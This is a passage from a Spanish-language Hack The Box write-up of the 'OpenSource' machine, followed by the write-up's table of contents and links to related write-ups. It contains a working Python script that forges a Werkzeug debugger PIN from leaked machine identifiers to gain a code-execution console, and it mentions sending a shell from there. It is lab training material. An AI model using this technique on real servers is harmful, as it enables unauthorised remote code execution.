Por último, debemos de tener en cuenta si Werkzeug utiliza sha1 o MD5 como método de encriptado. Este campo dependerá de la versión de Werkzeug. Como el ping generado por MD5 no me ha funcionado, probaré con sha1.

Teniendo todos estos datos en cuenta el script quedaría:

  
import hashlib
from itertools import chain
probably_public_bits = [
    'root',## username
    'flask.app',## modname
    'Flask',## getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py' ## getattr(mod, '__file__', None),
]

private_bits = [
    '2485377892358',## str(uuid.getnode()),  /sys/class/net/ens33/address
    'f754c8cd-b0ac-40d2-9b10-adbc2a79449d7e03804a70dc28c78c52fb8b3ed16ebe3749831c01f85f875792ad512969e696'## get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

El pin generado ha sido 109-552-733. Si lo probamos contra la web http://10.10.11.164/console ganaremos acceso a la consola de comandos de python y ya podremos ejecutar comandos:

A partir de aquí, nos podremos enviar una shell y ganar acceso al contenedor.

HTB: Resolución de OpenSource

Información de la máquina

Reconocimiento

ping

nmap

Puerto 80 abierto (HTTP)

Analizando aplicación upcloud

Código fuente de upcloud

Analizando logs de git

Analizando el código de la web

Consiguiendo shell como root en un contenedor

Script Autopwn

Consiguiendo shell como dev01

Reconocimiento del sistema

Analizando hosts activos del segmento de red

Consiguiendo conexión con la ip 172.17.0.1

Analizando 172.17.0.1

Puerto 3000 abierto (HTTP)

Consiguiendo shell como root

Reconocimiento del sistema

User flag

Interfaces de la máquina

Homedir de dev01

Reconocimiento del sistema con pspy

Analizando script git-sync

Git hooks

Anexo

Forma alternativa de intrusión al contenedor

LFI en http://10.10.11.164/uploads/

Forjando pin Werkzeug

Lecturas adicionales

HTB: Resolución de RainyDay

HTB: Resolución de Awkward

HTB: Resolución de Photobomb